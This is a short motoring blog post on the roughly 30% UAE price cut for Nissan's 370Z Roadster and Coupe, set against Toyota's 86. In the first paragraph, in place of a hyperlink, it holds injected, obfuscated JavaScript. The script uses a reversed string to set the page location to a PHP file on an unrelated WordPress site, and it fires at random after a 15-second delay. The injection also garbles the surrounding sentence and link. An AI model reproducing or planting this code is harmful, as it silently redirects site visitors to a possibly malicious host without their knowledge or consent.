A drop in price is never usually a good sign. Well, from a manufacturer’s perspective anyway. News that prices for both the Roadster and Coupe 370Z have been slashed suggests that Nissan execs are starting to feel the pressure from $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/toyota-86-dont-believe-the-hype-its-that-good-dubai/” target=”_blank”>Toyota’s new 86.
The news however is pretty sweet if you’re a 370Z fan in the UAE and just happen to have $37,875 in the bank account: the new price tag is some 30% less than previously marketed.
Let’s just consider that for a second: that’s less than $40k for a rear-wheel drive honing machine with a 328hp 3.7-litre unit bolted down at the front end, and with the poise and balance that gives the Audi TT a run for its coffers. Oh, and that all important ‘Z’ emblem.
And this being the Middle East, the significant chunk of dough you’re saving can turn into fine-tuning and a pretty hefty horsepower output fairly quickly.
To the showroom!